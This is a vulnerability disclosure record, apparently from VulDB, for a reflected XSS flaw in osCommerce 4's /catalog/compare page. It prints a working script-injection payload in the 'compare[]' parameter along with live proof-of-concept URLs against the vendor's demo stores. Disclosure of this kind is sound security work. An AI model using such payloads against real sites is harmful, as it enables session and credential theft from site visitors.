Submeter #237487: osCommerce ltd. osCommerce 4 Reflected XSS

# Exploit Title: osCommerce 4 - Reflected XSS
# Exploit Author: skalvin aka (CraCkEr)
# Date: 13/11/2023
# Vendor: osCommerce ltd.
# Vendor Homepage: https://www.oscommerce.com/
# Software Link: https://demo.oscommerce.com/
# Demo Link: https://demo.oscommerce.com/printshop/
# Tested on: Windows 11 Home
# Impact: Manipulate the content of the site
# CWE: CWE-79 - CWE-74 - CWE-707

## Description

Attacker can send to victim a link containing a malicious URL in an email or instant message
can perform a wide variety of actions, such as stealing the victim's session token or login credentials

Path: /catalog/compare

GET parameter 'compare[]' is vulnerable to XSS

https://website/catalog/compare?compare[]=40dz4iq"><script>alert(1)</script>zohkx

Live POC:

https://demo.oscommerce.com/printshop/catalog/compare?compare[]=40dz4iq"><script>alert(1)</script>zohkx
https://demo.oscommerce.com/furniture/catalog/compare?compare[]=40dz4iq"><script>alert(1)</script>zohkx
https://demo.oscommerce.com/watch/catalog/compare?compare[]=40dz4iq"><script>alert(1)</script>zohkx

[-] Done

• Fonte: ⚠️ https://demo.oscommerce.com/printshop/catalog/compare?compare[]=40dz4iq"><script>alert(1)</script>zohkx
• Utilizador: skalvin (UID 49463)
• Submissão: 13/11/2023 21h48 (há 3 anos)
• Moderação: 26/11/2023 08h20 (12 days later)
• Estado: Aceite
• Entrada VulDB: 246122 [osCommerce 4 Instant Message /catalog/compare Script de Site Cruzado]
• Pontos: 20